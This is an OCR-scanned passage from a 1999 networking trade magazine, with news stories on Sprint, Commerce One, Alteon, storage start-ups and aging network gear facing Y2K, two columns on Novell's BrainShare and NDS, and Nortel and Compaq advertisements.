that  features  kids'  games. 

□  Decide  how  to  Javasize  Netscape's  server  based 
software  products. 

□  Decide  whether  to  force  Sun  to  stick  to  Netscape's 
NT  commitments. 

□  Determine  whether  to  use  Sun's  or  Netscape's 
application  server. 

□  Get  a  browser  on  cell  phones,  PDAs,  cable  TV 
boxes  and  espresso  machines. 

□  Do  that  before  Microsoft  does. 

□  Figure  out  which  browser  is  best  for  small  devices. 

□  Do  the  same  for  PCs. 

□  What  about  a  Java  browser? 

□  Boost  traffic  to  Netscape  Netcenter  portal. 

(More  kids'  games?) 

□  Stock  up  on  smoke  and  mirrors. 


especially  outside  Global  One’s 
markets  of  France  and  Ger¬ 
many.  For  example,  MCI  World¬ 
Com  has  added  high-speed  fiber 
rings  in  numerous  European 
cities  via  its  previous  acquisi¬ 
tion  of  MFS  Communications. 

“What  Sprint  should  have 
done  in  1998  was  reform  Global 
One  more  as  a  single  entity.  But 
they  were  unable  to  do  that 
because  of  the  bureaucracy,” 
Ayvazian  says.  A  sticking  point: 
which  vendors  to  use  for  which 
types  of  nets.  “You  know  what 
the  problem  was:  Should  we 
have  a  German  vendor?  Should 
we  have  a  French  vendor?” 

The  Global  One  reports  sur¬ 
faced  during  a  week  in  which 
one  of  Sprint’s  top  executives, 
Long-distance  Division  Presi¬ 
dent  Patti  Manuel,  resigned. 
Sprint  said  she  would  not  be 
replaced;  instead  the  carrier  is 
realigning  the  responsibilities  of 
other  top  executives. 

The  changes  at  Sprint 
renewed  speculation  that  the 
firm  may  eventually  be  sold. 
Such  a  sale  would  come  at  a 
price:  Sprint’s  strong  consumer 
and  wireless  sales  have  helped 
boost  its  stock  price  to  nearly 
$100  per  share  and  its  market 
capitalization  to  $33  billion.  □ 


Commerce  One  eyes  business-to-business  portals 


BY  ELLEN  MESSMER 

WALNUT  CREEK,  CALIF.  — 
Want  to  set  up  a  giant  busi¬ 
ness-to-business  portal  for 
companies  in  your  industry  to 
swap  purchases  and  invoices 
over  the  Internet? 
Commerce  One  claims  it 
has  the  software  for  you. 

MarketSite  3-0  is 
Windows  NT  software 
that  handles  catalog 
hosting,  transaction  pro¬ 
cessing  and  purchase- 
order  processing.  This 
new  version  of  the 
product,  expected  to 
be  in  beta  release  in 
the  second  quarter,  is 
touted  as  the  Open 
Marketplace  Platform 
because  it  can  perform  tasks 
such  as  document  conversion, 
including  the  translation 
of  electronic  data  inter¬ 
change  into  Extensible 
Markup  Language. 

Version  3.0  is  also  open 
because  it  handles  trades  gen¬ 
erated  by  Commerce  One’s 


intranet  BuySite  software,  and 
will  work  with  competing 
electronic  commerce-pro¬ 
curement  products  from 
RightWorks  and  Intershop 
Communications . 

With  MarketSite  3  0,  each 


set  of  trading  partners  uses 
the  portal  software  as  the  mid¬ 
dleman  to  send  and  receive 
purchase  information.  Part¬ 
ners  can  define  the  document 
types  however  they  want. 

“They  can  define  the  ship¬ 
ping  request,  payment  request 
and  the  like,”  says  Chuck 


Donchess,  Commerce  One’s 
vice  president  of  marketing. 

Boasting  big  backers 

In  related  news,  Commerce 
One  today  will  announce  that 
carrier  British  Telecommuni¬ 
cations  will  be  using 
MarketSite  3-0  to  set  up 
a  business-to-business 
portal.A  similar  deal  is  in 
place  with  Japan-based 
carrier,  NTT.  A  North 
American-based  portal, 
called  MarketSite.  net,  is 
being  built  by  MCI 
WorldCom. 

Commerce  One  and 
each  carrier  will  split 
the  portal  fee,  usually 
$2  per  transaction, 
that  suppliers  get 
charged. The  three  sites  claim 
they  will  work  together  to 
create  an  international  trad¬ 
ing  community. 

A  few  firms,  including  W.W. 
Grainger  and  Schluntberger 
Oil  Services,  say  they  hope  to 
be  able  to  use  the  commerce 
portals  when  they’re  ready.  □ 


Build  your  own  vertical  portal 

Commerce  One's  plans  for  MarketSite  3.0 

"Open  Marketplace"  Platform: 

•  Software  to  be  used  by  service  providers  to  deliver 
e  commerce  services  that  include  managed  content, 
credit  card  processing,  catalog  hosting  and  tax 
payment  calculation. 

•  Commerce  One  is  working  with  BT  in  the  United 
Kingdom,  NTT  in  Japan  and  MCI  WorldCom  in 
the  U.S.  to  build  e  commerce  marketplaces  based 
on  the  software. 
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Alteon, 

continued  from  page  1 

today,  several  additional  .server- 
specific  capabilities  are  on  tap. 
One  example  is  the  ability 
to  read  deeper  into  a  packet, 
look  at  the  URL 
indicated  in  it 
and  make  a  deci¬ 
sion  about  where 
to  send  the  packet 
based  on  the  URL. 

The  products  will  also  be 
able  to  manage  bandwidth  to 
individual  servers  and  coordi¬ 
nate  that  net  resource  alloca¬ 
tion  with  bandwidth  available 
on  the  WAN  side.  Classes  of  ser¬ 
vice  will  be  defined,  allowing 
Web  hosts  to  provide  different 
levels  of  service  to  different  cus¬ 
tomers.  Users  will  receive  secu¬ 
rity  services  coordinated  on  the 
LAN  and  WAN  sides  of  Alteon ’s 
products,  the  company  says. 

The  rollout  of  these  added 
services  will  begin  with  the 
switches,  code-named  Genius, 
to  be  announced  next  month 
and  delivered  in  the  summer. 
Though  the  switches  will  be 
the  biggest  Alteon  has  pro¬ 
duced,  the  company  says  the 
devices’  most  important  innova¬ 
tion  is  that  they  embed  services 
such  as  load  balancing  and 
Layer  4  switching  in  hardware 
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All  of  Alteon’s  fellow  Gigabit 
Ethernet  start-ups  have  been 
acquired  or  are  about  to  go 
public  on  the  strength  of  their 
Layer  3  switches.  Unlike  those 
companies,  Alteon  never  found 
success  through 
Layer  3  switching 
and  instead  push¬ 
ed  its  way  into 
several  other  net¬ 
work  niches. 
Now  the  company  finds  that 
people  in  the  industry  identify 
Alteon  more  with  network¬ 
centric  sidelights  than  with  the 
Web-server-centric  products 
that  have  become  the  fastest 
growing  part  of  its  business. 

Out  with  the  old  . . . 

But  Web-centric  products 
are  a  new  market,  so  Alteon 
will  have  to  de-emphasize  its 
Gigabit  Ethernet  heritage.  The 
company  was  one  of  the 
first  vendors  to  sell  Gigabit 
Ethernet  network  interface 
cards  (NIC).  It  also  generated 
some  industry  buzz  around 
Jumbo  Frames,  the  company’s 
proprietary  technique  for 
speeding  bulk  transfers  into 
and  out  of  servers  using 
Gigabit  Ethernet. 

Industry  watchers  point  out 
that  most  NICs,  as  well  as 


Layer  2  switches,  have  rapidly 
become  commodities.  “At  the 
low  end,  Ethernet  is  almost  an 
offshore  business  entirely,”  says 
Peter  Christy,  principal  of 
Collaborative  Research  in  Los 
Altos,  Calif.  The  same  is  bound 
to  happen  to  Gigabit  Ethernet 
NICs,  making  it  difficult  for 
Alteon  to  compete  against 
large  NIC  vendors  such  as 
3Com  and  Intel. 

While  many  in  the  industry 
see  Jumbo  Frames  as  a  good 
idea,  still  more  recognize  that 
the  technology  will  face  sub¬ 
stantial  resistance  in  standard¬ 
ization  because  it  requires  that 
a  basic  property  of  Ethernet  — 
the  maximum  frame  size  —  be 
changed. 

Although  Alteon  will  con¬ 
tinue  to  develop  products  that 
use  Jumbo  Frames  and  Gigabit 
Ethernet  technologies,  the 
firm  won’t  put  its  marketing 
effort  behind  them,  Orr  con¬ 
cedes.  He  adds  that  while  half 
of  the  company’s  business  is 
still  centered  around  network¬ 
ing,  the  Web-working  half  of 
the  business  is  growing  two  to 
three  times  as  fast. 

. . .  and  in  with  the  new 

The  company’s  current 
load-balancing  switches  have 
found  favor  particularly  with 


companies  presenting  a  lot  of 
information  via  the  World 
Wide  Web.  “It’s  been  really 
cool  for  us  because  we  can’t 
really  handle  the  traffic  with 
one  server,”  says  John  Dodds, 
senior  systems  manager  at 
FinancialWeb.com  in  Altamonte 


Springs,  Fla.,  which  uses 
Alteon  switches.  Financial 
Web.com  offers  real-time 
stock  quotes  over  the  Web. 

The  Internet  traffic  manage¬ 
ment  market  will  grow  from 
$130  million  today  to  nearly 
$1  billion  in  2002,  according 
to  Collaborative.  Although 


Alteon’s  competitors  in  this 
field  include  Radware  and  F3 
Labs,  the  company  is  most 
concerned  about  Cisco. 

“If  Cisco  decided  this  is  a 
cool  business,  as  a  smaller  ven¬ 
dor,  that’s  not  what  you’re  look¬ 
ing  for,”  analyst  Christy  says. 


"We  have  been 
designing  an 
architecture 
with  the  mus¬ 
cular  body  of 
a  networking 
switch ,  but 
with  the  soul 
of  a  server." 


Dominic  Orr,  president  and 
CEO,  Alteon 

Alteon’s  revenue  in  its  last  fis¬ 
cal  year  was  $13.7  million,  and 
the  company  says  it  will  pull  in 
about  $30  million  this  fiscal 
year,  which  ends  in  June.  B 
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Start-ups, 

continued  from  page  1 

and  servers  over  LANs  or  WANs. 

•  SanCastle,  which  is  building 
a  Fibre  Channel  switch  for  LAN, 
WAN  and  storage  connectivity. 

•  Siros  Technology,  founded 
by  a  Stanford  University  profes¬ 
sor  who  is  a  pioneer  in  holo¬ 
graphic  storage.  Siros  is  work¬ 
ing  on  a  super  high-density  3-D 
storage  system. 

•  Astrum  Software,  which  is 
developing  Windows  NT  stor¬ 
age  capacity  and  performance 
management  software. 

Convergenet  will  be  rolling 
out  a  hardware/software  com¬ 


bination,  dubbed  Gemini, 
at  NetWorld+Interop  ’99  in 
Atlanta.  Gemini  will  integrate 
Fibre  Channel  and  legacy  SCSI 
devices  with  multiprotocol 
routing.  This  integration  will 
allow  any  type  of  storage, 
including  Windows  NT  storage, 
to  be  exchanged  for  Sun  or 
OpenVMS  storage  in  the  event 
of  a  failure. 

Gemini  will  incorporate 
switches  from  Brocade  Com¬ 
munications  and  other  ven¬ 
dors,  and  provide  the  caching 
of  data  transferred  between 
local,  WAN  and  Fibre  Channel 
networks. 

Convergenet  has  raised  more 


than  $30  million  and  hopes  to 
ship  its  device  in  October.  The 
company’s  product  will  initially 
work  with  Unix  servers,  with 
Windows  NT  server  support  to 
follow  shortly  thereafter. 

“We  are  building  the  intelli¬ 
gence  that  allows  a  data  center 
to  distribute  its  storage  across 
multiple  vendor  platforms 
and  keep  track  of  and  manage 
it  all,”  says  Jeffrey  Drazen  of 
Sierra  Ventures,  which  has  an 
investment  in  Convergenet.  “To 
do  that  you  need  intelligence, 
software,  some  storage  and  lots 
of  networking  capability,  from 
Ethernet  to  Gigabit  Ethernet  to 
ATM  to  Fibre  Channel.”  Sierra 


Ventures  says  it  is  willing  to 
invest  up  to  $50  million  in  the 
storage  market. 

SanCastle,  which  saw  its 
second  round  of  financing 
last  week,  is  also  looking  at 
connecting  storage  in  an  any- 
to-any  fashion. The  firm  is  mak¬ 
ing  a  nonblocking,  multiproto¬ 
col  switch  to  shunt  traffic  from 
one  type  of  network  or  device 
to  another. 

SanCastle’s  Tira  3000  will 
allow  LAN  and  WAN  tech¬ 
nologies,  such  as  Gigabit 
Ethernet  and  ATM,  to  commu¬ 
nicate  with  a  Fibre  Channel 
device  for  remote  vaulting,  dis¬ 
aster  recovery  or  backup.  That 
ability  means  users  on  a 
SONET-based  net  over  ATM 
could  retrieve  data  from  a  stor¬ 
age-area  network  located  hun¬ 
dreds  of  miles  away. 

Siros  Technology,  a  vendor  in 
the  high-density  storage  arena, 
would  not  comment  on  its 
product.  The  company,  which 
has  received  $20  million  in  ven¬ 
ture  capital,  is  working  with  a 
3-D  storage  technology  to 
develop  ultra-high-capacity  dig¬ 
ital  storage. 

In  a  traditional  disk,  data  is 


written  to  the  surface,  although 
some  depth  exists  that  could  be 
used  for  data  storage.  Siros  is 
taking  this  depth  and  optically 
writing  data  to  it  to  increase  the 
amount  of  data  a  disk  can  hold. 

Lambertus  Hesselink,  founder 
of  Siros,  is  one  of  the  pioneers 
in  the  field  of  holographic  stor¬ 
age,  in  which  up  to  one  terabyte 
of  data  can  be  stored  on  a  crys¬ 
tal  the  size  of  a  sugar  cube.  In 
spite  of  Hesselink’s  ties  to  holo¬ 
graphic  storage,  Siros  says  it  is 
not  working  on  holography  but 
is  focusing  on  using  the  3-D 
aspects  of  the  disk  itself. 

Finally,  Astrum  Software  is 
ready  to  ship  a  quota  and  per¬ 
formance  management  utility 
for  Windows  NT  that  monitors 
system  storage  requirements 
and  performance  levels  across 
enterprise  networks. 

Astrum ’s  Storcast  tool  can  set 
storage  limits  for  Windows  NT 
network  users  and  alert  man¬ 
agers  when  that  limit  is  ex¬ 
ceeded.  Performance  problems 
prompt  a  similar  response.  B 
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Old  gear, 

continued  from  page  1 

Harrison  is  far 
from  the  only 
one  wringing  the 
last  drops  of  use¬ 
fulness  out  of 
technology  you 
might  expect  to 
find  on  the 
scrapheap  in¬ 
stead  of  work¬ 
ing  in  active 
networks. 

Whether  to 
avoid  making  huge  capital 
investments  in  upgrades  or 
to  keep  tried-and-true  ap¬ 
plications  running,  network 
administrators  are  stretching 
the  age  limits  of  their  net¬ 
work  hardware  and  software. 

In  Harrison's  case  he  says 
he  got  a  Sun  SPARCserver  690 
chassis  for  free  and  added 
four  1.6G-byte  drives  a  friend 
gave  him. 

“According  to  Sun,  it’s 
obsolete,  but  according  to 
me,  it  kicks  ass.  And  I  paid 
nothing  for  it,”  Harrison  says. 

As  for  Harrison’s  PBX, 
which  debuted  in  the  1970s: 
“You  couldn’t  buy  something 
comparable  for  ten  grand.  And 
it’s  also  a  space  heater,”  he 
jokes. 

Keep  'em  happy 

Harrison  runs  his  own 
show,  so  he  can  do  what  he 
wants,  but  others  don’t  have 
the  luxury  to  dictate  what 
stays  in  their  networks  and 
what  goes. 

Bruce  McIntosh,  a  data  cen¬ 
ter  senior  engineer  for  the 
University  of  Florida  at 
Gainesville,  can’t  retire  15- 
year-old  IBM  7171  protocol 
converters  that  have  been  at 
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the  school  longer  than  he  has. 

“A  very  small,  very  vocal 
group  of  people  says  the 
7171s  are  the  best  way  to 
access  the  mainframes.  There 
isn’t  a  telnet  arrangement 
that  can  keep  them  happy,  so 
we  keep  the  7171  boxes  up,” 
he  says. 

Those  same  users  could 
dial  in  to  more  modern  Cisco 
5100  and  5300  terminal 
servers  that  other  users  call, 
but  they  won’t. 

The  loyalists  claim  to  get 
better  response  dialing  in  to 
the  aging  converters  at  2.4K 
bit/sec  than  dialing  the  termi¬ 
nal  servers  at  28. 8K  bit/sec. 
As  long  as  users  still  want 
them,  there  is  no  reason  to  get 
rid  of  them. 

“They  still  work  fine,” 
McIntosh  says. 

Despite  what  users  think, 
some  gear  is  so  well-suited  to 
a  specific  task  that  it  will  like¬ 
ly  never  be  replaced.  The 
venerable  Digital  PDP-11  of 
1980s  vintage,  for  example, 
has  found  a  permanent  home 
in  at  least  one  U.S.  military 
application. 

The  box  is  the  core  compo¬ 
nent  of  a  training  simulator 
for  artillerymen  who  aim  can- 
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non  fire.  “When  people  are 
learning  the  methods  of 
adjusting  fire  from  single  or 
multiple  guns,  it  takes  awhile 
for  the  basic  concepts  to  sink 
in.  With  a  simulator,  the 
rounds  are  virtual,”  says  Andy 
Kemp,  who  used  to  maintain 
such  a  system  for  the  Marines 
and  is  now  a  senior  systems 
engineer  for  Powertel,  a  wire¬ 
less  phone  company  in  West 
Point,  Ga. 

The  PDP-11  does  its  job, 
and  it  doesn’t  have  to  be  fast, 
he  says.  All  it  has  to  do  is  con¬ 
vert  digital  input  to  analog 
controllers. 

“The  maintenance 
costs  are  fairly  low,  fail¬ 
ure  of  components  inter¬ 
nal  to  the  PDP  is  rare 
and  operator  training  is 
inexpensive,”  he  says. 
That’s  a  winning  combi¬ 
nation. 

The  simulator  is  not 
threatened  by  Year  2000 
because  the  system 
clock  doesn’t  have  to  be 
in  sync  with  the  real 
world,  just  other  nodes, 
Kemp  says. 

Y2K,  though,  is  the 
end  of  the  road  for  other 
gear,  including  a  Wang 
VS-65  that  cost  $250,000 
in  1984  and  is  still  in  use 
at  University  Mechanical 
Contractors  in  Seattle. 

Once  the  anchor  of  the 
company’s  accounting 
system,  the  VS-65 ’s  spec¬ 
ifications  are  unimpres¬ 
sive  by  today’s  standards: 
1,024K  bytes  of  RAM  and  2G 
bytes  of  fixed  storage.  It  has 
8mm  and  1/2-inch  reel-to-reel 
tape  backups. 

As  a  result,  the  VS-65  isn’t 
asked  to  do  much  anymore, 
says  Chris  Bondelid,  a  systems 
administrator  for  University 
Mechanical. 

“We  still  have  it  operating 
for  legacy  accounting  info 
lookups,  but  it’s  mainly  burn¬ 
ing  electrons,  twiddling  its 


thumbs.  It’s  slower  than 
molasses  in  January,”  he  says. 

But  it  is  a  known  system,  it 
is  paid  for  and  it  still  meets 
the  needs  of  the  records- 
lookup  application. 

“It  has  been  solid  as  a 
rock,”  Bondelid  says. 

Plus  it  has  entertainment 
value.  “All  my  friends  that 
come  over  look  at  it  and  their 
eyes  bug  out,”  he  says. 

But  soon  it  will  be  decom¬ 
missioned.  “It  supports  an 
old  COBOL  application  that 
would  be  too  hard  and  costly 
to  make  Y2K-compliant,” 
Bondelid  says. 

What  will  happen  to  the 
VS-65?  “We’re  possibly  think¬ 
ing  of  asking  Wang  if  they 
want  it  back  for  testing  or 
training  purposes,”  Bondelid 
says  with  a  smile. 

Y2K  is  claiming  other 
workhorses,  including  the 
1992  Cisco  IGS  router  blade 
in  a  Cabletron  MMAC-3  hub 
that  until  earlier  this  year  pro¬ 
vided  remote  access  to  a 
branch  office  of  the  National 
Cancer  Institute  in  Fort 
Detrick,  Md. 

Earlier  this  year,  the  router 


was  still  running  Cisco’s  IOS 
8.3(3);  Cisco  is  currently  ship¬ 
ping  IOS  12. 

Since  the  hub/router  combi¬ 
nation  was  installed,  Cisco  and 
Cabletron  stopped  doing  busi¬ 
ness  with  each  other. 

“This  was  from  the  two  ven¬ 
dors’  friendlier  days,”  says  Tom 
Zanylo,  a  network  analyst  for 
Science  Applications  Inter¬ 
national,  which  administers  the 
cancer  institute’s  network. 

But  the  MMAC-3  wasn’t 


broke,  so  nobody  thought  to 
fix  it,  Zanylo  says.  However, 
Cisco  says  it  won’t  support 
the  router  after  2000  So  the 
institute  traded  it  in  during  a 
network  upgrade  from  a 
shared  Ethernet  to  a  switched 
Ethernet  LAN. 

While  some  network  exec¬ 
utives  tolerate  old  gear  until  it 
is  forced  into  retirement,  oth¬ 
ers  actively  weed  it  out. 

The  U.S.  Department  of 
Education,  for  example,  is  in 
the  midst  of  upgrading  its 
Student  Financial  Assistance 
Program  network  from  SNA  to 
TCP/IP,  says  Tim  Weil,  a  net¬ 
work  consultant  working  on 
the  project  for  RPM  Con¬ 
sulting  of  Columbia,  Md. 

ZIPISNA  Gateways  from 
Attachmate,  10-year-old  DOS- 
based  devices  that  Attachmate 
no  longer  supports,  still  link 
the  department’s  desktops  to 
its  mainframes.  The  gateways 
are  showing  their  age. 

“When  you  walk  down  the 
hall  and  open  the  cabinet,  you 
can  just  rub  the  dust  off  the 
top  of  the  things.  Whenever  I 
look,  there’s  a  fingerprint 
from  the  last  guy  who  was 


there,”  Weil  says. 

The  fact  that  the  gateways 
still  work  won’t  save  them. 

“The  motivation  for  going 
forward  isn’t  that  it  doesn’t 
work.  It  all  works.The  desire  to 
get  into  a  complete  TCP/IP 
architecture  is,  well,  wre  want 
to  get  into  the  20th  century 
before  it’s  over, ’’Weil  says.  A 
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University  Mechanical's  Wang  VS-65  still  provides  service  —  and  entertain¬ 
ment:  "All  my  friends  that  come  over  look  at  it  and  their  eyes  bug  out,"  says 
Chris  Bondelid,  a  systems  administrator  for  the  company. 
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Novell  thinking  big  and  small 


“I  like  thinking  big.  If  you’re  going  to  be 
thinking  anything ,  you  might  as  well 
think  big.” 

—  Donald  Trump 


MARK 

GIBBS 


Well,  I’m  missing  BrainShare.  Or 
more  correctly,  by  the  time  you 
read  this,  I  will  have  missed  it. 

I’m  sure  you  know,  but  in  the 
unlikely  case  you  don’t,  Brain- 
Share  is  Novell’s  public  display  of 
thinking  big.  The  lovefest  is  held 
in  Salt  Lake  City  where  more  than 
one  thousand  people  paying  a  lit¬ 
tle  less  than  $1,500  gather  to  hear 
what  Novell  is  doing.  This  year, 
Novell  is  putting  a  lot  of  focus  on 
its  forthcoming  version  of  the 
Novell  Directory  Services,  NDS 
8.0,  which  is  definitely  a  piece  of 
big  thinking. 

And  Novell  is 
proposing  more  big 
thinking  on  top  of 
NDS  8.0.The  best  is 
Novell’s  new“digi- 
talme”  technology, 
which  uses  NDS  to 
manage  the  identity 
of  users  on  the  Inter- 
net.The  company 
already  has  Citigroup 
and  FirstUSA  backing 
the  idea. 

But  I  must  note 

that  Novell  is  getting  a  little  above 
itself.  On  its  Web  site,  you  can  sign 
up  for  “Webcasts”  of  key  Brain- 
Share  presentations.  Good  idea,  ex¬ 
cept  Novell  wants  you  to  cough  up 
$25  per  session  for  the  privilege! 

These  were  two-hour  broad¬ 
casts  using  Real  Network’s  Real¬ 
Player.  The  topics  were  “TCP/IP  on 
the  Wire”  and  “Comparing  Net¬ 
Ware  5  and  Microsoft  Windows 
2000 .’’And  if  you  signed  up  for 
both  you  got  to  watch  “NetWare  5 
Boot  Camp:  Inside  NetWare  5,” 
“NDS  Design  Strategies  for 
ZENworks”  and  “Top  NDS  Issues.” 

Let  me  get  this  straight.  Novell 
wanted  people  to  pay  $12.50  per 
hour  to  watch  what  must  have 
been  a  mediocre-quality,  unreliable 
transmission.  But  to  add  insult  to 
injury,  with  the  exception  of  the 
first  session,  all  the  sessions  were 
obviously  Novell  product  pitches 
presented  by  Novelloids.The  com¬ 
pany  must  be  losing  it.  (If  you 
shelled  out  some  cash  for  these 


broadcasts,  drop  me  a  note  and  let 
me  know  what  you  thought  of 
them  and  if  they  were  valuable.) 

Anyway,  back  to  our  topic  . . . 
Novell’s  NDS  8.0.  It’s  pretty  im¬ 
pressive.  Novell  is  said  to  have 
demonstrated  an  NDS  system 
loaded  with  one  billion  objects  — 

I  heard  a  pitch  on  what  that  took 
and  it  was  not  a  trivial  exercise  — 
and  I’m  told  the  access  time  for 
the  content  of  any  selected  object 
was  very  fast.That  goes  a  long  way 
to  demonstrating  scalability. 

The  early  beta-user  feedback  on 
NDS  8.0  is  encouraging.  Large  tel¬ 
cos  and  end  users  are  enthusiastic 
and,  given  that  International  Data 
Corp.  says  80%  of  the  Fortune 
1000  has  Novell  NDS  in  place,  the 
future  of  NDS  should  be  promis¬ 
ing.  I  write  “should  be”  because,  as 
usual,  Microsoft  has  the  potential 
to  be  the  spoiler. 

Even  though  Novell  will  have  a 
seven-year  lead  by  the  time  Micro¬ 
soft’s  Active  Directory  Services 
(ADS)  comes  out,  and  a  far  better 
architecture  (unless  Microsoft  does 
something  radical  in  the  next  few 
months),  Microsoft  has  the  clout  to 
turn  users  away  from  what  should 
be  a  common-sense  decision. 

NDS  is  a  common-sense  deci¬ 
sion  because  ADS  will  be 
unproven  and  only  available  on 
NT,  whereas  NDS  will  be  available 
on  NT,  Solaris,  HP/UX,  OS/390 
and  Linux.  And  ADS  is  under¬ 
pinned  by  Microsoft’s  wretched 
domain  security  system,  known 
for  poor  scalability  and  manage¬ 
ability,  while  NDS  is  based  on 
NetWare  security  that  has  proved 
to  be  scalable  and  manageable. 

Despite  all  these  arguments, 
Novell  looks  like  it  is  struggling 
with  marketing.  And  this  isn’t  just 
because  Microsoft  has  clout.  Small 
thinking  on  the  part  of  Novell, 
such  as  charging  prospects  and 
existing  customers  to  watch  sales 
pitches,  is  causing  problems  for 
the  company.  And  I  could  expound 
at  length  on  how  badly  Novell 
communicates  with  the  press. 

Novell  needs  to  think  big  about 
things  that  matter,  such  as  defining 
its  position,  and  forget  about  little 
things  like  charging  for  Webcasts. 

Big  thinking  to  nwcolumn @ 
gibhs.com  or  (800)  622-1108, 
Ext.  7504. 
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Novell  has  been  to  the  Internet  what 
common  sense  is  to  the  law:  that  is  to  say 
distantly  related,  at  best. 

Having  survived  a  near-death  experience 
these  past  few  years,  however,  this  stodgy 
network  elder  has  apparently  decided  to 
make  peace  with  the  dotcom  branch  of  the 
family.  (Cue  violins;  hugs  all  around;  dab 
those  tears.) 

Eric  Schmidt  was  never  going  to  have  it 
any  other  way,  of  course.  When  talking  Java, 
the  guy's  more  Mr.  Coffee  than  Joltin'  Joe, 
and  he  didn't  leave  Sun  to  run  the  Sears 
Roebuck  of  networking.  Still,  it  was  a  bit 
unnerving  to  be  at  BrainShare  last  week  and  hear  Novell  preaching 
that  old-time  'Net  religion. 

The  sermon  included  outlines  of  a  new  Internet  caching  system; 
agreements  to  package  the  company's  crown  jewel,  NetWare,  with 
IBM's  WebSphere  application  server  and  Oracle's  WebDB;  and,  per¬ 
haps  the  most  un-Novell-like  move  of  all,  the  launch  of  "personal 
identity"  technology  called  digitalme  that's  based  on  Novell  Directory 
Services  (NDS).  It's  pitching  the  latter  to  consumers,  for  cryin'  out 
loud. 

It's  easy  to  see  why  Novell  feels  a  need  to  go  Hollywood  on  its 
hardcore  network  audience.  Microsoft  will  have  to  disgorge  Active 
Directory  one  of  these  years,  and  NDS  sure  as  heck  better  have  a 
head  of  steam  when  it  does. 

But  can  Novell  walk  this  walk?  Although  he  probably  didn't  appreci¬ 
ate  being  accosted  while  slurping  up  a  gooey  pastry  between  Brain¬ 
Share  events,  Schmidt  did  spend  a  few  minutes  chatting  with  Buzz 
about  what  it  will  take  to  transform  his  company  into  an  Internet  player. 

"I  think  you  have  to  earn  it,"  he  said  without  a  trace  of  that  John 
Houseman  accent.  "We  have  to  have  Lightweight  Directory  Access 
Protocol  directories  on  the  'Net  that  do  interesting  things.  We're 
doing  that  with  digitalme." 

Digitalmaybe.  The  concept  sounds  useful  enough,  as  digitalme  would 
allow  individuals  to  securely  store  and  granularly  control  information 
about  their  online  selves  —  user  names  and  passwords,  e-mail 
addresses  and  credit  card  numbers  —  with  a  trusted  third  party,  per¬ 
haps  a  bank  or  an  ISP.  You  decide  who  gets  to  see  what  through  the  use 
of  digital  "meCards."  Novell  wins  by  highlighting  the  scalability  of  NDS 
and  by  becoming  known  as  the  company  that  tamed  the  Wild  Wild  Web. 

But  here's  where  the  doubts  creep  in.  Building  an  Internet  image  — 
especially  among  consumers  —  will  require  Novell  to  learn  a  whole 
new  marketing  language,  right? 

"No,  the  marketing  [we  have  now]  is  working,"  Schmidt  insisted. 
"We're  already  doing  all  the  obvious  stuff,  so  it's  just  a  matter  of  get¬ 
ting  there." 

But  Novell  built  a  business  around  talking  to  geeks,  not  Joe  and 
Josephine  Six-pack. 

"We'll  learn  how  as  we  go  along,"  Schmidt  assured  me. 

He  wasn't  being  flippant,  and  the  guy's  way  too  smart  not  to  realize 
that  his  company  has  a  massive  sales  job  ahead.  Moreover,  this  is  a 
company  that,  despite  recent  improvements,  still  has  a  lotto  prove 
when  it  comes  to  image  building. 

Case  in  point:  Novell  recently  announced  it  will  sponsor  a  profes¬ 
sional  golf  tournament,  which  might  seem  an  odd  way  to  build  name 
recognition  among  the  next  generation  of  network  decision-makers 
and  Internet  users,  until  you  factor  in  the  massive  appeal  of  a  Tiger 
Woods.  That  Tiger  can  sell  anything. 

Trouble  is  Tiger  won't  be  playing  in  the  Novell  Utah  Showdown.  Lee 
Trevino  might,  however,  because  The  Showdown  is  part  of  the  Senior 
PGA  Tour,  a.k.a.,  Geezer  Golf.  (Picture  the  TV  ad:  "Hi,  I'm  Arnie  Palmer 
and  when  I  need  a  directory  that  scales  all  the  way  to  the  19th  hole . . . ") 

They'll  learn  as  they  go  along. 

There’s  been  no  change  of  course  here.  McNamara  still  needs 
your  help  finding  Internet-related  news.  Contact  him  at  (508) 
820-7471  or  ptncnamara@nunv.com. 


PAUL 

MCNAMARA 
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SMS 


Introducing  CallPilot  -  the  latest  in  unified  messaging  technology  from  Nortel  Networks” 

Call  Pilot  lets  you  manage  e-mail,  voice  mail  and  fax  messages  with  the  mere  click  of  your  mouse, 
all  from  within  your  familiar  e-mail  interface.*  You  can  even  use  our  revolutionary  speech 
recognition  feature  to  manage  your  messages  using  simple  voice  commands.  All  this  is  made 
possible  with  a  Unified  Network  from  Nortel  Networks,  which  enables  you  to  integrate  voice, 
video  and  data  and  create  a  communications  solution  that  will  serve  your  needs  well  into  the 
future.  For  more  information,  call  1-800-4  NORTEL,  or  visit  us  at  www.nortelnetworks.com/16DY 


NGRTEL 

NETWORKS 

How  the  world  shares  ideas. 


Nortel  Networks,  Call  Pilot.  Unified  Networks,  the  Nortel  Networks  logo  and  "How  the  world  shares  ideas."  are  trademarks  of  Northern  Telecom.  ©1999  Northern  Telecom. 
All  rights  reserved.  ’CallPilot  is  compatible  with  MS  Outlook,  Lotus  Notes,  Netscape  Messenger,  Eudora  Pro  and  other  IMAP  4  compliant  e-mail  clients. 


Free  Product  info  enter  NWInfoXpress  #97  online  @  www.networkworld.com/infoxpress 
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When  my  data 
multiplies  like 
crazy,  will  I  be 
able  to  handle  it? 


Tire  data  in  your  enterprise  is  being  cloned  more 
rapidly  than  sheep  are,  these  days.  And  the  growth 
of  the  Internet  is  taxing  your  storage  system  even 
more.  That’s  why  you  need  a  storage  system  that 
grows  right  along  with  it.  Compaq  StorageWorks. 

Designed  with  our  open,  standards-based 
Enterprise  Network  Storage  Architecture,  it  gives  you  a  modular  storage 
solution  that  expands  with  your  enterprise.  And  this  architecture  virtualizes 
storage — working  across  multiple  platforms  while  being  centrally  managed 
from  one  location.  So  information  can  be  shared  by  anyone  anywhere 
in  your  enterprise.  For  answers  to  all  your  questions  about  multiplying 
data,  contact  1-8QO-STORWORK  or  www.compaq.com/yourdata. 


COMPAQ.  Better  answers: 


